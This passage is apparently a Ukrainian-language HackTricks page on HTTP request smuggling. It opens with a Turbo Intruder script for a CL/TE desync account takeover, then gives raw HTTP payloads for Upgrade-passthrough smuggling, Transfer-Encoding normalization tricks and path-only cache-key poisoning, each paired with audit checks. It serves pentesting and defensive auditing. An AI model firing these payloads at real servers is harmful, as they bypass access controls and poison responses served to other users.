З: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

Декілька багів Pingora 2026 корисні, бо показують desync primitives за межами класичних CL.TE / TE.CL. Повторно застосовний урок: щоразу, коли proxy припиняє парсинг занадто рано, нормалізує Transfer-Encoding інакше, ніж backend, або fallback-иться на read-until-close для body запитів, ви можете отримати FE↔BE desync навіть без традиційної неоднозначності CL/TE.

Premature Upgrade passthrough

Якщо reverse proxy перемикається в raw tunnel / passthrough mode щойно бачить Upgrade header, не чекаючи, поки backend підтвердить перемикання через 101 Switching Protocols, ви можете smuggle другий запит у тому ж TCP stream:

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

Фронтенд розбирає лише перший request, а потім передає решту як raw bytes. Backend розбирає додані bytes як новий request від довіреної IP proxy. Це особливо корисно, щоб:

  • Обійти proxy ACLs, WAF rules, auth checks і rate limits.
  • Дістатися internal-only endpoints, які довіряють reverse proxy IP.
  • Викликати cross-user response queue poisoning на повторно використаних backend connections.

Під час auditing proxies завжди перевіряйте, чи будь-яке значення Upgrade запускає passthrough, і перевіряйте, чи перемикання відбувається до чи після того, як backend відповість 101.

Transfer-Encoding normalization bugs + HTTP/1.0 close-delimited fallback

Ще один корисний pattern:

  1. Proxy бачить, що Transfer-Encoding присутній, тож видаляє Content-Length.
  2. Proxy не нормалізує TE правильно.
  3. Proxy тепер має no recognized framing і переходить на close-delimited request bodies для HTTP/1.0.
  4. Backend правильно розуміє TE і трактує bytes після 0\r\n\r\n як новий request.

Поширені способи це викликати:

  • Comma-separated TE list not parsed:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:
  • Duplicate TE headers not merged:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

Важливі перевірки аудиту:

  • Чи парсить front-end останній TE token, як цього вимагає випадок, коли chunked стоїть останнім?
  • Чи використовує він усі заголовки Transfer-Encoding, а не лише перший?
  • Чи можна змусити HTTP/1.0 перейти в режим читання body до закриття з’єднання?
  • Чи дозволяє proxy коли-небудь close-delimited request bodies? Це саме по собі вже високовартісна ознака desync.

Ззовні цей клас часто виглядає як CL.TE, але реальна примітивна основа така: TE present –> CL stripped –> no valid framing recognized –> request body forwarded until close.

Пов’язана primitive cache poisoning: path-only cache keys

Той самий аудит Pingora також виявив небезпечний anti-pattern reverse-proxy cache: формування cache key лише з URI path, ігноруючи Host, scheme або port. У multi-tenant або multi-vhost deployment різні hosts тоді можуть колізіювати в одному cache entry:

GET /api/data HTTP/1.1
Host: evil.com
GET /api/data HTTP/1.1
Host: victim.com

Якщо обидва запити мапляться до одного й того ж cache key (/api/data), один tenant може poison вміст для іншого. Якщо origin відображає Host header у redirects, CORS, HTML або script URLs, слабке Host reflection може стати cross-user stored cache poisoning.

Під час перевірки caches переконайся, що key включає принаймні:

  • Host / virtual host identity
  • scheme (http vs https), коли поведінка відрізняється
  • port, коли кілька applications ділять той самий cache namespace

Tools

References

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks